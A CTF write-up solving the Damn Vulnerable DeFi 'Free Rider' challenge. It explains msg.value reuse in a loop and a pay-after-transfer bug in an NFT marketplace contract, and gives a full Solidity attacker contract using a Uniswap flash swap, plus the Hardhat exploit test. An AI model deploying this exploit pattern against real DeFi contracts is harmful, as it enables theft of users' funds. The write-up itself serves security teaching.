10.FreeRider
2023-06-23 20:22:08 # 05.Damn Vulnerable DeFi v2 CTF

FreeRider

analyse

First vulnerabilities:

the use of the global variable msg.value inside of a loop. The buyMany() function contains a loop that is used to buy several NFTs in a single transaction:

1
2
3
4
5
6
function buyMany(uint256[] calldata tokenIds) external payable
nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}

And in the _buyOne() function called by the buyMany() function, we find the check for the msg.value (line 74):

1
2
uint256 priceToPay = offers[tokenId];
require(msg.value >= priceToPay, "Amount paid is not enough");

But the value is checked for the price of a singular NFT (15 ETH) and not the total value needed (6 * 15 = 90 ETH). This allows the caller of the buyMany() function to re-use the ETH for every NFT purchase. So, in this example, we can buy the 6 NFTs by sending only 15 ETH as the msg.value to the transaction.

Second vulnerabilities:

the FreeRiderNFTMarketplace contract transfers the ETH to the owner of the NFT after transferring the NFT itself. In practice, this means that the address who buys the NFT gets transferred ETH by the FreeRiderNFTMarketplace contract, instead of transferring ETH to the contract:

1
2
3
4
5
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);

solutions

Wse need to make an implementation that can execute a flash swap to: get some WETH, change that WETH for ETH, use that ETH to buy the NFTs, change back the ETH for WETH and, finally pay back the flash swap, plus the fee. All of this has to be done in a single transaction and we’d be good to go. Here’s an attacker contract that is capable of doing what we need.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";

// As interface for avoiding pragma mismatch. Also saves gas.
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}

contract FreeRiderAttacker {
// Interfaces
IERC721 private immutable NFT;
IWETH private immutable WETH;
IUniswapV2Pair private immutable UNISWAP_PAIR;

// Addresses
address private immutable marketplace;
address private immutable buyer;
address private immutable attacker;

// Tokens to buy
uint256[] tokenIds = [0, 1, 2, 3, 4, 5];

receive() external payable {}

constructor(
address _nft,
address payable _weth,
address _pair,
address payable _marketplace,
address _buyer
) {
NFT = IERC721(_nft);
WETH = IWETH(_weth);
UNISWAP_PAIR = IUniswapV2Pair(_pair);
marketplace = _marketplace;
attacker = msg.sender;
buyer = _buyer;
}

function attack(uint256 _amount0) external {
require(msg.sender == attacker);
bytes memory _data = "1";

// 1. Do a flash swap to get WETH
UNISWAP_PAIR.swap(
_amount0, // amount0 => WETH
0, // amount1 => DVT
address(this), // recipient of flash swap
_data // passed to uniswapV2Call function that uniswapPair triggers on the recipient (this)
);
}

// Function called by UniswapPair when making the flash swap
function uniswapV2Call(
address,
uint256 _amount0,
uint256,
bytes calldata
) external {
require(msg.sender == address(UNISWAP_PAIR) && tx.origin == attacker);

// 2. Get ETH by depositing WETH
WETH.withdraw(_amount0);

// 3. Buy NFTs
(bool nftsBought, ) = marketplace.call{value: _amount0}(
abi.encodeWithSignature("buyMany(uint256[])", tokenIds)
);

// 4. Calculate flash swap's fee and total
uint256 _fee = (_amount0 * 3) / 997 + 1;
uint256 _repayAmount = _fee + _amount0;

// 5. Get WETH to pay back the flash swap
WETH.deposit{value: _repayAmount}();

// 6. Pay back the flash swap with fee included
WETH.transfer(address(UNISWAP_PAIR), _repayAmount);

// 7. Send NFT's to buyer
for (uint256 i = 0; i < 6; i++) {
NFT.safeTransferFrom(address(this), buyer, tokenIds[i]);
}

// 8. Transfer ETH to attacker
(bool ethSent, ) = attacker.call{value: address(this).balance}("");
require(nftsBought && ethSent);
}

// Function to allow this contract to receive NFTs
function onERC721Received(
address,
address,
uint256,
bytes memory
) external view returns (bytes4) {
require(msg.sender == address(NFT) && tx.origin == attacker);
return 0x150b7a02; //IERC721Receiver.onERC721Received.selector;
}
}

Our FreeRiderAttacker contract has a receive() function to make the contract able to receive the ETH of the payout and the ETH that we get when buying an NFT. It also has to implement the onERC721Received() function and return the corresponding selector to receive the NFTs of the marketplace.

Following the FreeRiderAttacker contract implementation, the attack goes like this:

1.We have an attack() function that executes a flash swap by calling UniswapV2Pair swap() function passing some arbitrary data (as explained in the documentation). This is done to get the 15 WETH:

1
2
3
4
5
6
7
8
9
10
11
function attack(uint256 _amount0) external {
require(msg.sender == attacker);
bytes memory _data = "1";
// 1. Do a flash swap to get WETH
UNISWAP_PAIR.swap(
_amount0, // amount0 => WETH
0, // amount1 => DVT
address(this), // recipient of flash swap
_data // passed to uniswapV2Call function
);
}

2.After the attack() function is called, the UniswapV2Pair contract will call the uniswapV2Call() function of our attacker contract. So, inside that function we continue our attack. We deposit the WETH we just got from the flash swap to the WETH contract to get its equivalent in ETH:

1
WETH.withdraw(_amount0);

3.Use that obtained ETH to buy the NFTs of the marketplace. We only need 15 ETH to get all 6 NFTs out of it:

1
2
3
4
5
6
(bool nftsBought, ) = marketplace.call{value: _amount0}(
abi.encodeWithSignature(
"buyMany(uint256[])",
tokenIds
)
);

4.Calculate the flash swap’s fee and the total that we have to transfer back to the UniswapV2Pair contract.

1
2
uint256 _fee = (_amount0 * 3) / 997 + 1;        
uint256 _repayAmount = _fee + _amount0;

5.Deposit the calculated _repayAmount of ETH to the WETH9 contract, to get the amount of WETH needed to pay back the flash swap to the UniswapV2Pair contract:

1
WETH.deposit{value: _repayAmount}();

6.Transfer the WETH borrowed from flash swap back to UniswapV2Pair with fee included (so that the transaction won’t revert):

1
WETH.transfer(address(UNISWAP_PAIR), _repayAmount);

7.Transfer the NFTs to the buyer contract, so that we get our payout of 45 ETH:

1
2
3
for (uint256 i = 0; i < 6; i++) { 
NFT.safeTransferFrom(address(this), buyer, tokenIds[i]);
}

8.Finally, withdraw all ETH from our FreeRiderAttacker contract to our attacker address:

1
(bool ethSent, ) = attacker.call{value: address(this).balance}("");

And that’s it. In the JS file, we would only need to deploy the contract with the correct parameters for the constructor and call the attack() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */

// Deploy evil contract
this.attackerContract = await (
await ethers.getContractFactory('FreeRiderAttacker', attacker)
).deploy(
this.nft.address,
this.weth.address,
this.uniswapPair.address,
this.marketplace.address,
this.buyerContract.address
)

// Attack
await this.attackerContract.connect(attacker).attack(NFT_PRICE)

// Attacker balance = 120 ETH
// NFT transfers = (6 NFTs * 15 ETH ) - 15 WETH of flash swap = 75 ETH
// 45 ETH (Payout) + 75 ETH (NFT transfers) = 120 ETH
console.log('Attacker ETH balance:', String(await ethers.provider.getBalance(attacker.address)))
})

After that, we’ve done what we wanted. The buyer has the 6 NFTs he wanted, we got 120 ETH on our hands (starting with 0.5) and the marketplace is left with nothing.